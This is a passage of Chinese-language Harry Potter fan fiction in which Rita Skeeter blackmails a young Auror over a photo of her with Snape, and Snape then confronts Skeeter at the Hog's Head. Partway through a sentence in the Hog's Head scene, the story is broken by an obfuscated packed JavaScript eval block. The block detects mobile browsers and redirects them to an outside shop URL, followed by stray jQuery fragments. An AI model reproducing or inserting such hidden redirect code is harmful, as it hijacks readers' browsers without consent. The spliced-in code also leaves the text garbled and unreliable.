一听见“斯内普”这个名字,蕾雅大概明白这个记者的意图,毕竟她也看过《预言家日报》关于斯内普传记的报道。她紧盯斯基特那张咧开的、可怖的、涂满大红的嘴唇,立即拿出应敌的防御状态,丝毫没有打算要掩饰自己眼中流出的厌恶:“什么意思?我不认识你,也不明白你在说什么。”? 斯基特强硬地挡在蕾雅前面,黏腻的声音带有嘲讽和玩弄:“可不是嘛?莱恩哈特副司长的宝贝千金,也是斯内普校长的——”她故意停顿,嘴角的笑容愈发猖狂,“这可是件大新闻,我一直等着一个合适的机会刊登出去呢。现在还没见报是斯内普校长得感谢我的稳重克制,毕竟他那样不留情面地拒绝我的采访。” 心中咯噔一下,蕾雅意识到斯基特意有所指的语句,也猜到她大概从什么途径得知她和斯内普的关系——或者说,捕风捉影到两人的绯闻。然而,这位年轻的实习傲罗没来得及表露出任何退缩,已然开了口:“随便你怎么捏造,校长才不会在意。毕竟所有的人都清楚你的故事不实。就像你写的邓布利多传记,人们只会当做是杜撰的故事。”蕾雅说完便没有迟疑地迈开步,想尽快摆脱这个女人。 “不错,你还挺懂得维护他,看来是真的很为他着迷。我会在新闻里替你写上的。”斯基特饶有兴致地伸出一只手,拽住蕾雅的手臂,企图将她拖回来。 “别碰我!”蕾雅想也没想,直接用力甩开这宛如阴森藤蔓般的抓握。她回过头,面色冷硬地瞪斯基特一眼:“我说了,随便你怎么写。虽然我不明白你为什么一定要歪曲事实。”话毕,她再次越过斯基特往前。 “也许,是该让你看看这个。”斯基特打了一个响指,一张魔法照片突兀地凭空出现在蕾雅的面前,“这是我在重整前几个月新闻档案时无意发现的。快仔细看看,上面是谁?” 照片记录的是一堆欢快舞动的人群,有升天的气球与烟花的璀璨,还有——角落中被捕捉到的,紧拥在一起的二人。 是上霍格米村庆典的那天,照片上的人正是她和斯内普。 魔法烛火跃动的声音轻轻敲打蕾雅的耳膜,她瞪大双眼,大脑空白,感觉心脏真的因此停跳一拍。 她记得那一晚的每一个细节,记得他的每一句坦白与他胸膛炙热的体温。它们是她宝贵的记忆,是那样美好深刻,根本不应该成为攻击他的武器,更不应该暴露在公众的审判之下。 “不细看或许难以辨认,但如果专门为此写篇报道,情况又是另一回事了。你看,这就是新闻的魅力:一丁点真实,加上适当的渲染和修饰。哦,但对于这件事,我几乎不需去过多粉饰,因为它本身就已经足够引人注目了。”斯基特径自把话说了下去,“对了,今早我还在《炼金术士》上看到你们共同署名的文章,要是结合这张照片——啧。” 完了。这是第一个重新闪现在蕾雅脑中的词语。 像是取得胜利般做作地调整着眼镜,斯基特漫不经心地打量面前这张怔住的年轻面庞,继而叹道:“一个学生也能下得去手?是因为斯内普校长就喜欢这种类型吗?不得不说,你确实跟莉莉·波特有几分相似,看来关于他青年的谣言并非不实。”她故意让词句的尾音轻飘飘地上扬,宛如一道不经意漫入水中的捕鱼弯钩,也像她此时慢慢地勾起的、不怀好意的唇角。 比起斯基特难听不堪的话语和这张照片,倒是莉莉·波特这个词更为成功地激怒了蕾雅。 “你在说什么?!”被挑衅的人儿没忍住脾气怒吼一声,她立即伸手,想抓起面前的照片撕掉,甚至想拿出魔杖——但碍于这里是魔法部,她还刚成为实习傲罗。于是,这一秒的迟疑让她在下一个瞬间无奈地看着照片凭空消失。 她咬紧牙,对这无妄之灾感到一阵从心房深处弥漫出来的无力感。比起她自己,她其实是在担心舆论堆积在斯内普身上的后果,毕竟他才刚摆脱污名、成为战争英雄不久。她不希望因为她而再度背上莫名的唾骂——这条新闻一旦被刊登,他会被怎么想呢?话只会比斯基特现在道出口的更难听吧。 “别这样看我,我也很清楚这条新闻一旦发布会有什么后果。”斯基特轻蔑地扭曲一下嘴唇,“我也不想污蔑我们伟大的战争英雄呀——可是嘛,我需要一个采访他本人的机会。我特别想知道,到底是什么驱使他背叛伏地魔,成为邓布利多的信徒?是否如传言那样跟莉莉·波特有关?” 斯基特的语调滑腻薄凉,仿佛一条沁满毒液的蛇王攀缠在蕾雅的脊骨:“你知道的,我已经采访过很多跟他学生时代碰过面的人,包括莉莉·波特当时的室友玛丽·麦克唐纳,可没有人愿意相信像他这样一个坚定的食死徒会轻易回头。” “你!”蕾雅深知此刻自己已什么都做不了,也不能挑衅斯基特。她没想到,她毕业后遇到的第一个敌人不是战场上的黑巫师,而是这位声名狼藉的记者。 斯基特不为这位年轻傲罗的怒气所动,再度靠近蕾雅。高跟鞋让她比蕾雅高出不少,所以她很轻易便用漆满大红色甲油的粗肥手指挑起蕾雅的下巴,威胁到:“三天内,你告诉他,接受我的采访。否则,你们的这点小故事马上会出现在下一周《预言家日报》的头条——噢别担心,托你的好友赫敏·格兰杰的福,我已学会匿名加密向编辑发送稿件了,以防你们想对我采取什么措施。” “我说了别碰我!”斯基特那令人作恶的吐息混合着香水味扑在脸上,使蕾雅下意识地猛烈挥手,狠狠拍落斯基特的魔爪。 “哎!你怎么这么粗鲁呢?!”斯基特倒吸一口凉气,突然顺势抓起女孩的左手,轻笑着挑眉,仿佛发现新大陆般面带惊喜:“这是什么?戒指?哈哈——没想到啊,我都迫不及待想看到读者们的反应了,那会是怎样的轰动?你想想看?”她紧抓着蕾雅的手腕,再度打了个响指,一架魔法相机窜出来,“咔嚓”一声后又不见了。 “这只是我自己的饰品!”蕾雅急忙抽回手,内心从来没有感觉到如此的难受和愤怒。因为话一出口,她就明白,是否是她的饰品那都无关紧要。斯基特已经留下照片,一旦故事搭配图片一同被添油加醋,到底什么会是真相?——那根本不重要,人们总是倾向相信那些他们愿意相信的事。 这时,有轻微的咳嗽声从这个窒息空间的另一侧透过来。 斯基特不屑地嗤笑一声,转身走向升降梯厅,“三天还是很宽限的,莱恩哈特小姐。” 很快,这里只留下蕾雅一个人站在原地,因无力感而产生的极度沮丧正陪伴她。 她真的从未没想过会这样,要是她早预想会发生这种事情,当初怎么样也不会逼迫他跟她在一起。——她固然可以大方地对霍格沃茨的亲朋好友们坦诚她与斯内普的事实,但一旦踏出学校的城堡,一切事物都好像变得不太单纯。 是啊,人们会怎么想呢?这可是校长与一位学生。 忽然,她突兀地回想起当时以为德拉科·马尔福发现到他们关系的夜晚。你看,她都无法想象斯内普被马尔福得知与她在一起的这种情形。 “蕾雅?” 有一个人从刚才咳嗽声传来的方向走出来,竟然是珀西·韦斯莱。他紧抱一叠羊皮纸和记事板,大概也是才从十层审判厅下楼。 蕾雅勉强掀了掀眼皮,胡乱地用冰凉到没有知觉的手背碰过自己的脸颊,试图以此来让自己振作些。她朝珀西转头望过去,却不曾想到会对上一张困惑的脸。珀西的脸上明显写着的,不是为在这里碰到她的讶异,而是另一种不可置信的惊愕。 她僵硬地深吸一口气,苦涩地对他牵起个疏离得如冻土浮冰的礼貌性笑容:“你都听见了,是吗?” “她说的不可能是真的,对吧?你和……校长?”珀西的声音低沉而颤抖着,按在文件上的手关节微微发白。他最终停在离她一米的地方,低落的目光如死水一样淌在她的指间。那被紧拧在一起的眉毛压住的深色眼瞳,里面有复杂又卑微的失望,“你手上的戒指……” 再也没有什么惊涛骇浪可以比得过现在她身上那么多委屈、自责、无奈、难堪编织成乱麻纠缠的情绪。蕾雅在这动荡中抬头,在心脏沉闷的轰隆声中直直地看向这位韦斯莱先生,语气平直得没有一点起伏地低声承认:“是他送我的生日礼物。” 此刻,她感觉自己就像苏格兰高地那些飘泊的雪花,纷纷扬扬地跌落尘土,又被狂风卷起拂去。 79.威胁 两位男巫在六层的魔法交通司完成了飞路网连接的申请。为了避免不必要的猜疑,他们还事先准备了一套官方到无懈可击的说辞。然而事实上,飞路网管理局的工作人员根本没有进行过多询问,就轻松地为他们处理好了申请与连接——显然,是因为谁也不想同时得罪神秘事务司副司长和霍格沃茨校长。 这会儿是下班时分,拥挤吵杂的升降机经过八层正厅的时候,像个被倾倒的油桶一样一泄而空。再回过神,升降机只剩下两人,雷格纳目不转睛地看着缓缓关闭的栅栏门,随后侧眼扫向他身后双臂交叠的黑发校长,直接开口道:“她那边应该已经结束了,我跟她说早的话就在我办公室等我。” “嗯。”斯内普轻轻地应了一声,无聊地抬眼紧盯轿厢上方的金属数字牌,那个黄铜的小箭头从八慢慢地挪动到九。“说实话,你同意她进入傲罗办公室,是不是想让她在训练里学会控制魔力?”他随便找了个话题。 雷格纳对斯内普会问这番话而感到一点意外,顿了一刻才回答道:“你怎么都看出来了?我确实考虑过一阵,不过反正现在是战后了,成为傲罗应该也不如之前危险了。” “其实我本打算,她留在霍格沃茨后再训练她的。”斯内普闭了闭眼,目光从数字牌移向面前的金发副司长,声调平淡地说:“魔法部倒也算个好选择,我也不希望她一直局限于霍格沃茨。” “谢谢你也这样为她考虑,西弗勒斯。”雷格纳感激地拍了拍斯内普的肩膀,笑容温厚地表示同意:“我也有想过,引荐她到神秘司或者其他部门的。是没想到斯威克主任会如此重视她,更没想到原来你教了她那么多东西。”话及此处,雷格纳又若有所思地摸了摸下巴,踌躇地说道:“说来也奇怪,明明控制不好魔力,她却能掌握摄神取念这种精细的魔法。” 斯内普顺沿副司长的话思虑起来,“有没可能是天赋?毕竟这种东西,到现在都没被研究清楚。”升降梯在这时候停住了,他边说着边和雷格纳一同穿过敞开的栅栏门,步入神秘司大厅。 “是啊,但据我所知,我家里人也并不擅长这种精神类的魔法。其实我还挺想看看她下周的傲罗魔力测试报告的,尤其是她的魔力分析。”雷格纳摆了摆手,话音未落却突然停住脚步。因为他没想到会在大厅就看见像个冰雕般僵住的自己女儿,与怀抱着一大叠文件的珀西·韦斯莱。 “蕾雅?珀西?”雷格纳朝两个人踱了过去,“发生什么事了吗?怎么都站在这?” 斯内普也抬头望去,一瞬间就敏锐地察觉到她脸上不寻常的神情。她听见父亲的声音后便转过来,随即也见到这位黑发巫师,须臾间神色似乎变得更加沉重。 斯内普观察到她微微颤抖的肩膀和没有精神的眼神,觉得那是种几乎没在她那里见到过的情绪。 是有什么事情发生过。男巫很快就反应过来,这么一想的下一刻,他就毫不迟疑地看向显得比蕾雅还要窘迫的珀西·韦斯莱。 是因为这个韦斯莱对她做了什么吗?斯内普仔细地端详两人,珀西也在这时侧身转头,正好直直撞上斯内普犀利的目光。珀西那一张被神秘司低弱的光线映照出惊慌的脸,正在变得愈发苍白失色,甚至给人有一种他正在深水溺亡、几近崩溃的感觉。 “爸爸,还有……校长?”蕾雅犹豫地低唤着,缓过神来平复情绪,按捺内心的起伏后解释道:“是我刚想去你办公室,路上遇见了珀西。”她的声音有点失落,有些无法在这时直视斯内普。 “您好……莱恩哈特副司长,”珀西挣扎着偏过头,怀抱中的资料被他搂得更紧,“呃,斯内普校长。”这个问好似乎是从牙缝间挤出来的,缥缈到犹如被洪水冲去的浮萍。 这傻小子,不会第一天就忍不住跟她告白,然后得知他们的事了吧? 斯内普不无根据地猜测着,随即眉毛拧得更紧。但他没有表现出来,只是声音冷淡,没有任何表情地回应:“韦斯莱。”但他不知道,他略微抬起的下颚在珀西看来像是一种严厉的审视。 “我还要去向沙克尔部长汇报工作。先告辞了。”珀西垂下眼睑,迈开步,准备走向升降梯厅。 “要好好吃饭啊,珀西。”莱恩哈特副司长友善亲和地望向珀西的背影,“我怎么看着你好像比上次更瘦了,别老顾着工作,亚瑟会担心的。”他叮嘱道。 “嗯,我会的,谢谢您。”珀西礼貌地转身微微鞠了一躬,再也不敢看蕾雅,更不愿意看斯内普,头也不回地钻进适时到来的升降梯离开了。 倒是…… 斯内普低下眼睑,凝视着身侧一语不发、心事重重的蕾雅,她紧随雷格纳穿行在漆黑的走廊之中,没有说话,也没有看他。 三个人从雷格纳办公室的壁炉回到莱恩哈特家。奥德莉亚少有地提前下班,此时在厨房里忙碌晚餐的准备。雷格纳换下西装后也加入愉快的烹饪,而斯内普则独自坐在客厅的壁炉前,阅读一本他随身携带的书,面前隔着一杯还热气腾腾的伯爵红茶。 蕾雅从二楼走下来,换上了冬季的毛绒居家服,纯白的衣衫看起来宛如庭院中堆积的粉雪。她半耷拉着头,无声地走到他的身边,踢掉拖鞋踩在地毯上,端起他的杯子坐下后抿了一口。 “你应该清楚,自己的脸上可藏不住事吧?”斯内普压低声音揶揄道。他瞥见她抿紧的嘴唇,腾出一只手握住她垂在两人之间的手,又关切地问:“蕾雅,发生过什么了?” 温润的红茶沿着喉咙淌进腹腔,芬芳的香气萦绕鼻端,蕾雅这才觉得在见到斯基特那刻绷紧的心弦终于放松一些,“我正想要跟你说呢。”蕾雅轻轻放下红茶,毫无生气的一颗小脑袋低垂地朝向地面,落寞地嘟哝:“不是什么好的事,西弗。我都不知道该怎么跟你开口。” “我相信不会有比伏地魔更糟糕的事了。”斯内普像是想要让她缓和焦虑般低笑一声,松开她的手改为环住她,拇指在她的肋骨侧温柔地摩挲着。他感受到她那身居家服给他带来的柔软舒心感,不自觉地抱得更紧,嗓音也同样轻柔而坚定地安抚道:“告诉我。” 蕾雅张了张嘴,没立刻说话,闭着眼睛靠在他身上。斯内普耐心地看她因深呼吸而起伏的胸脯,以及她组织语言时不停眨动的眼睫。良久,她稍稍抬起头,轻声询问:“你认识丽塔·斯基特吗?” 哦,原来不是韦斯莱啊。 只听见这个名字从她口中道出,斯内普已大致猜测到发生过什么事了。 他放下手中的书,将她垂落脸侧的头发拨开,顺带转过她的脸面对自己。他确认地看进那双正翻涌着不甘和嫌恶的翠绿眼睛,沉声问道:“与我们有关,是吗?她找到你了?” “她……”蕾雅难堪地鼓起嘴,蹭着他温暖的掌心点了点头,“……有我们的照片,上霍格米村那天。” 斯内普顿时沉默。他当然熟悉斯基特的名声,知道她的编造和龌蹉手段,毕竟他曾在课堂上逐字逐句地读过她写的哈利·波特和赫敏·格兰杰的报道,还看过各种杂志上刊登的各种关于邓布利多的新闻。只是,他怎么也没想到如今自己成为她选中的目标。但是,既然有了确凿的照片,却没有刊登出来,还特意冒险找上她,这说明斯基特别有所图。 那是什么? 斯内普不用过多推断就能得出结论,他想起来,就采访一事他都拒绝过斯基特不下三次。 “让我猜猜,她威胁你的条件是想采访我?” “我想,就是你想的那样。”蕾雅再次点头,“看来她也有顾虑,觉得这个新闻在这时候放出去不会是一件好事。但她好像又从别的途径获取到你的过去,所以她不愿意——” “放过这个绝好的机会再往下挖。”斯内普接过话,在听见“你的过去”的时候便了然地冷哼一声。如今,他突然开始庆幸自己一早已向她坦白过那些过往琐事,不至于让她在外人提起这些事的时候对他产生不信任感。这么想着,斯内普缓慢地、谨慎地上下打量身边人,面色严肃地问:“她没有对你做什么过分的事吧?” 他的黑眸中此时隐藏的凌厉锋芒,是蕾雅已有一段时间没有看到过的。 蕾雅清楚斯内普是真的生气了,这也让她丝毫不怀疑,如果斯基特真的对她做过什么,斯内普会毫不犹豫地采取最极端的报复手段。斯基特是严重低估她所威胁的人,尤其低估了斯内普的脾气。 “没有,除了稍微动手动脚,我想我对她下的手更重。我没事,珀西的出现也阻止了她。”蕾雅摇了摇头,示意他不要过多担心。 斯内普暂时缓和神情,意识过来是韦斯莱撞正了她们的对话,所以得知他们的关系。但尽管明晰到这点,也不会让斯内普对那位可怜的书记官产生任何抱歉的意思。他平直地继续刚才斯基特的话题,问道:“她想什么时候?” “她说三天内。”蕾雅说,脸上依然犹有顾虑,话音亦满是愧疚地呢喃:“西弗,我没想过会因为我……为你带来额外的,麻烦。” “三天,我明白了。”斯内普敛住眼色,指间轻按她的腰,用眼神决绝地驳回她的歉意:“蕾雅,你要知道,我当初做出决定的时候,我就曾设想过这些。我相信没有你,她也会想办法挑衅我。”他耐心地向她解释,“另外,我也想让你明白,当我说没有什么能比伏地魔更糟时,我的确——” “嗯?”被斯内普一番话惹得再度绽开微笑的蕾雅,本来还在等他将这句话说完,没想到斯内普却突然不继续往下说,而是微微勾着唇角,定定地凝视她。“怎么啦?”蕾雅被他看得脸红,错开视线咕哝地追问,又迅速补充一句:“别这样看我,西弗,还在家里呢。” “我知道。”斯内普笑着轻点她的鼻尖,试图以此躲避她的提问,“没什么,只是想说我是认真的。” 他不会告诉她,是他心里突然锐利地意识到,确实还有更糟糕的事。 ——比如说,失去她。但他可不会对她直接道出,只会安静地将她抱得更紧,生怕她下一秒就消失。 “蕾雅!”是雷格纳的声音,在这时和浓郁诱人的烤鸡香气一同从厨房飘来,大概是晚餐已经就绪,“快和西弗勒斯过来,妈妈说有事跟你们商量呢。” “我们这就过去。”蕾雅乖巧地应声,随后牵着斯内普站起身,两个人一起向餐厅走去。 …… 自从周五以来就没有停歇过的风雪攻占下,霍格莫德的积雪再次累积到两英尺深。走在路上的时候,巫师们不仅需要多重的温暖咒,还得谨慎地在鞋底附加防滑的咒语。 今天午后,雪花还在不住地掉落,无休无止到仿佛连压抑的天空也要坠下来了。无处排解的厚雪,使得本来就古朴沉重的巫师村落堆砌成另一种黯淡乏闷的灰白,只看得见烟囱顶端飘远的灰霾,和橱窗里的圣诞装饰不时在被暖气化开积雪的玻璃中露出一角。 进入十一月后,霍格莫德的商家们已开始准备圣诞节的布置,也为了迎接接下来霍格沃茨的霍格莫德日。然而,与主街上的梦幻和热闹形成鲜明的对比,猪头酒吧的周围显露出的是分外市井、杂乱、衰颓的气氛。不平的道路有许多下陷的雪坑,路边新净的白雪与破烂的屋檐淌下的污水结成一块,再被站在室外巫师烟斗中呛出的黑灰所晕染,显得肮脏而晦暗。 黑发巫师推开门,稍微松解些缠在脖子上的黑色围巾,便感觉自己立刻被酒臭、熏肉、还有山羊的浓烈膻味扑了个满面。这是周日的下午,酒吧内早已坐满打扮奇特的巫师们,吵嚷笑闹的声音和一杯杯冒着火星的酒液调和在一起,这些人大概是打算从现在一直喝到深夜。 男巫选择目不斜视地往前走向吧台,尽量不去看那些看不清面庞、正在交易非法物品的巫师们,草草地用眼神敷衍过几个高声跟他打招呼的人。 吧台后站着一个身材高瘦的老人,一头毛发灰白得如金属丝,跟邓布利多一样有些歪的鼻梁上架着一副脏兮兮的眼镜,但眼镜之后是双炯炯有神的明亮蓝眼睛。男巫的视线越过老人,在那扇破旧得看不出颜色的木墙,有个眼珠子还在转来转去的硕大猪头悬挂在那里,嘴边垂下的哈喇子快要滴到酒桶上面。 老人面无表情地看向黑发巫师,眼中还闪过一丁点并非难以察觉到的厌恶,“楼上,倒数第二间房,我想你对我这里很熟悉了。”他懒懒地指了指身后的那扇小门,“哦,提醒你一下,阿不思今天也在。” “感谢。”黑发男巫与老人的目光平视,内心明了这位比阿不思更为固执的老人,是仍对自己当初犯下的错误耿耿于怀。但这些都已是事实与过往,他并不打算与老人的不满眼色过多纠缠,而是不为所动地抿平嘴唇,慢悠悠地从口袋中摸出一块金加隆,放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557950|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧台那块脏得似乎从来没有擦过的木头上面:“我先上去,等下我还会下来。” “随你。”老人掂起金币,没有在意那过多的金额,径直扔进一个古老的木头钱柜,然后冷漠地转身去整理柜子上的杯子,似是再也不想理会面前人那样。 男巫也没有任何要在意的意思,径自踩上那架摇摇晃晃得随时能散开的木楼梯。说实话,再次来到这个地方确实让他感到不适,毕竟这是所有他不堪的起点。但比起在霍格沃茨,他认为这里是最合适不过的场所。 二楼是一个公共的客厅,跟他上次来的时候并没有什么区别。破旧的地毯延伸至一个熊熊燃烧的小壁炉,火焰跳动得欢欣的亮色上面,是一副与壁炉相比过于巨大的油画。画像中,一个金发的少女正笑容温婉地凝望屋内。 他拐进一侧幽暗逼仄的走廊,尽头的房间门就吱呀一声地敞开了。门后露出的是张他不太愿意看见的亲切笑脸:“要不是阿不福思跟我说,我都不知你还会来这里。”是邓布利多,手里正捧着一团毛线,整个人洋溢起一股愉悦的神色,“是发生了什么事吗?也不打算跟我说说?” 斯内普面色僵硬地解下围巾,大步朝邓布利多走过去,一双黑眸阴郁得比窗外的雪更沉重:“我是猜你今天在这里,特地早点过来,我确实有事顺便跟你商量。” “是什么?要不要顺便来我房间参观参观?”邓布利多会意地露出一个好客的姿态,错开身子,“你可能没想到,我最近在学怎么织地毯,上次米勒娃来还赞叹一番呢。” “……不了。”斯内普差点被这话呛到,最终还是选择不要过多分享邓布利多的隐私。他停在邓布利多房间旁边的那扇门前,将围巾挂在手臂上,双臂之后交叉抱在胸口,讥讽道:“我千方百计救回你这条命,难道是为了让你在这里做这些吗,阿不思?” “霍格沃茨现在也不需要我了,老是旅行也挺耗体力的。”邓布利多的话里竟然听出一丝真挚,“培养兴趣爱好是件好事,我还打算学习乐器呢。” 学什么乐器,别是等下向他讨她来教钢琴。 斯内普十分不乐意地想,于是当做没有听见老巫师的话般快速绕开这个话题:“你圣诞节没有安排吧?” “怎么,你假期要离开霍格沃茨吗?”邓布利多当然清楚斯内普只有在有事拜托的时候才会这样提问,否则他可从来不会关心邓布利多的行程。 斯内普不留情地斜老巫师一眼,冷冰冰地答道:“打算去希腊。” “希腊?”邓布利多略微惊讶地感叹一声,脸上的表情变得更加耐人寻味:“圣诞节旅行是很不错的。只是我感觉这可不像你的作风。……两个人?”他打趣地瞄向斯内普,湛蓝色的眼睛调皮地眨了眨。 “是雷格纳的邀请,她的外公在希腊。”斯内普语气阴冷地答复,侧过脸别扭地找到更多解释:“你本人用过的许多魔药材料也是幸亏有他提供。” 邓布利多长长地哦了一句,脸上即刻挂上慈祥而洞悉一切的笑容,仿佛快要让这个拥挤的空间如草原开出花般灿烂。“我会替你守在霍格沃茨,放心地去吧,你确实也该好好休个假。”见斯内普不大情愿继续这个话题,已伸手按在隔壁房间的木门上,他又关心识趣地开口:“但今天不是为了说这个来的吧?” “嗯。”斯内普不耐烦地克制谈及此事的怒气,撇撇嘴道:“是丽塔·斯基特。” “呵,斯基特!”邓布利多几乎是立即就意会到斯内普话里和今日的来意了。毕竟在那段恢复的日子里,邓布利多也曾一字不漏地拜读过丽塔·斯基特写的传记,一直以来也很清楚那个女人是怎么拼凑和加工手头信息的。 “我以为你从来不会在意那些?”邓布利多继而问斯内普,但脱口而出的下一秒,老巫师又兀自地接过话,恍然大悟道:“啊,我明白了。”大概是为了她才决定对付斯基特的,不然就是那个记者写得再天花乱坠,我们一贯冷静自若的校长连眼尾都不会抬。 “你明白什么?”斯内普倏地别过脸,眉心颦蹙。 “没什么,在感慨这位记者的嗅觉是够灵敏的。”邓布利多饶有兴致地晃晃手,“但你知道,西弗勒斯,无论她手里握着什么信息,都不是我们的人泄露出去的,对吗?” “我知道你让布莱克和卢平签了保密协议,当然,西比尔也是。”斯内普微微颔首,推开了陈旧的木门,被屋内迎接他的霉味和湿气引得拧紧眉心,“不是他们。但我想你也清楚,当时那些事的目睹者并不少。” “好吧,原来是关于当时的事。……等等,西弗勒斯。”邓布利多旋即转身回到自己的房间里。一阵翻箱倒柜的声音过后,斯内普的视野里出现一只瘦削苍白的手,以及递来的一本书——《阿不思·邓布利多的生平和谎言》,“替我转告她,她的文章迷人得令人生厌,要是再多些事实就好了。”老巫师突然又像想起什么一样开口道:“噢对了,需要我让阿不福思在她的饮料里添加些‘特别成分’吗?” 斯内普挑起一侧的眉毛,接过邓布利多的书,漠然地冷笑道:“不用,阿不思,你并没有忘记我原来的本业吧?” “当然不会。”邓布利多满意地捋了捋胡子,欣然地目送斯内普步入隔壁的房间,才关上房门。 壁炉开过一阵子了,房内依然有些冷,大概因为外面的雪下得越来越大,铺天盖地的一片灰白。斯内普用魔杖调高那个残缺了一块的壁炉的温度,温暖的气流立即弥漫开,熏得周围暖融融的。他的身边,刚到不久的蕾雅正把脸埋在她抱着的两人围巾里,偶尔翻动一页手捧着的《傲罗工作守则》。 是啊,本可以是一个与她就这样打发时间的周末下午,可不想会被浪费在一些毫无意义的事情上—— 顷刻,斯内普闻见门外传来令人心烦的高跟鞋声,低低地对身边人道:“她来了。” “嗯,我也听见了。” 蕾雅合上那本不厚的守则,调整一下坐姿。 房门被蓦地推开,走进来一个女人。她穿着鲜艳的黄色长袍,妆容夸张,香水味刺鼻呛人,那过大的下巴又硬是给“精致”的打扮增添一点滑稽的感觉。在见到男巫的那瞬间,那个女人咧开一个格外热情的笑容,露出齿间三颗丑陋的金牙,语调又尖又高: “斯内普校长!您终于同意接受我的采访了。” 80.警告 也许在今天之前,一直呆在霍格沃茨七年的蕾雅,都从没有想过为什么人与人之间的交往会这样充满复杂的算计。为什么——人们总是能为了自己想得到的那一丁点利益而算到尽头,并为此而孜孜不倦。 她曾以为,像乌姆里奇的恶和伏地魔的恶已足够是世界之恶的全部。而随着战争的结束,他们都得到了相应的惩罚,她也终于跟她心爱的在一起了,这该是所有故事的结局了。然而,故事从来不会告诉她,所谓的圆满背后还会充斥许多无奈的、辛酸的世俗琐碎,而恶,当然远不止表面能看到的一种。 窗外是一片冬季的迷蒙,远处有结成浮冰的河面,窎远之处是一望无际的白。虚浮浅淡的光在雪隙里沉降,穿透窗柩老旧的木块后碎在铺满一层厚灰尘的地板。她从这些斑驳的光影中抽回视线,随手将垂落的长发拢至耳后,将那本《工作守则》藏在两人盘成一团的围巾下。做完这些,她才十分不情愿地抬头,表情冰冷地看斯基特扭动身子,故意将高跟鞋敲出响声地走到斯内普的面前。 “您好,斯内普校长。”斯基特带着轻松的语气伸出一只大得像男人的手。 “不客气了,坐下吧。”斯内普漠然地抬了抬眼,没有与她握手,只是将一杯看不清颜色的酒液耸到斯基特的面前。 斯基特没有任何难堪地收回自己的手,走到搁着酒杯的位置上落座。她瞥了一眼坐在斯内普旁边沉默的人儿,转向斯内普轻蔑地开口:“您不允许我带摄影师来,我本以为这将是一次私人访谈,怎么这里还有外人呐。”说着,她又饶有兴致地打量起这个大概好几年没打扫过的房间。除了三人面前这张被油渍蒙得锃亮的小桌外,窗边还有一张倾斜的床铺,上面铺着泛黄的一套床具。 斯基特嘴角抽搐颤抖,很快便不满地翘起腿,随即嘟哝道:“您怎么会把我约在这儿呢,霍格沃茨的校长室不是更符合访谈的地点吗?”她一边说,一边扯开鳄鱼皮手袋的搭扣,从里面掏出一支又长又绿的羽毛笔和一卷羊皮纸。 “别心急,斯基特小姐。请允许我在开始前先纠正,”斯内普露出一个虚假到没有温度的笑,挥动魔杖将羽毛笔和羊皮纸凭空抹除,“一,她不是外人,这你很清楚。二,鉴于这不是一场正式的采访,所以我认为选在霍格沃茨并不合适,还请你不要介意。”他的声音冷硬而深沉,就如同从屋檐垂坠凝结的冰柱,身上蔓延出来的低气压比窗外的风雪还要凛冽。 蕾雅这才在心里暗自笑笑,很明显,斯内普是真的为这个事情很生气,在得知这件事的几天里,这种怒气还不断积聚发酵。斯内普在极度愠怒的时候表现出来的,不是一贯面对学生时的外在激愤和言语攻击,而是一种更为深沉的、内敛的,能杀人于无形的冷厉。此时,她内心明了,斯基特今天注定是不会获得她期望的东西了。 “不是正式的采访?”斯基特愕然地望着绿色羽毛笔和羊皮纸消失的方位,而后为斯内普的话挑起眉毛,镶嵌着宝石的眼镜映出一道凌厉的反光,“斯内普校长,这是什么意思?我以为我们已有了一个共识。看来并非如此呐。”她装作惋惜地叹一口气,手指不经意地轻挥,一张晦暗不清的魔法照片飘落在斯内普眼前的茶几,“您的意思是,您允许我用这条新闻来弥补您的轶事了?想必这肯定会引起一场轰动。” “你的确还是误会了,斯基特小姐。”斯内普的笑愈发客气而虚伪,“我只是想说,很遗憾,我完全没有看到回答你采访的必要,因为你无需我的回答也会将‘故事’写得精彩绝伦。”斯内普故意将“故事”两字的咬字吐得无比清晰,说着还点了点手中的魔杖,那本邓布利多传记步伐迟缓地从茶几另一头滑到斯基特和他之间的茶几一角。 斯内普没有低头去看,但魔杖尖不经意地轻敲在那本书上,发出令人不安的哒哒声。随后,他暗示性地勾起嘴角,用平直到没有一点波澜的语调陈述道:“看来你确实很坚持想要公布我们的事,那么我假设你也已经做好承担使大众再次信仰崩塌的后果了,如果是这样,请不要犹豫地将这一‘事实’传播出去——我无权阻止你。”说完,他姿态从容地往后倚靠在座椅上,令人感觉他只是在阐述一件并没有多少关心的事。 斯基特的脸霎时暗沉了一些,她眯起眼睛,明显听出了斯内普话里的深意,也意识到这位校长并不如魔法部那些昏头的高官们那样容易应付。她端起那杯浑浊的饮料,闻了闻后又放下去推开,之后慢慢地移动目光,端详着呆在斯内普身边一言不发、抱着围巾冷冷地瞪她的年轻傲罗。这位傲罗身上正有一股全无掩饰的恨意和决绝浸漫而出,与现在表面友好的斯内普形成完全的镜像。 看得出来,这个女孩也完全不是好拿捏的主,再往深处一想,那位副司长外表上的谦逊和温和可能只是表象。她这才低下头,低垂的眼神停留在那本《阿不思·邓布利多的生平和谎言》上。 斯内普为什么要在这个时候拿出这本书? 目的不言而喻,也就是说,她这一次的举动将会得罪至少四个人,其中三个还是如今最为声名煊赫的战争名人——并且,如今魔法部的权力网也正与这些人紧密相连。意识到这点的一刻,这位老练的记者竟有些开始后悔招惹上他们——但是,当然了,为了有价值的新闻不择手段,正是她在一众记者中脱颖而出的原因,所以她暂时还不会轻易退缩。 “我想您也对我有所误会,斯内普校长。请让我先澄清,我并非带着恶意来的。我只是一直坚信,我们的读者有权得知真相,这是我作为记者的职责。”斯基特再开口的语气是恭维而温和的,她稳住视线,不去过多在意着刚才羊皮纸和羽毛笔不见的位置。 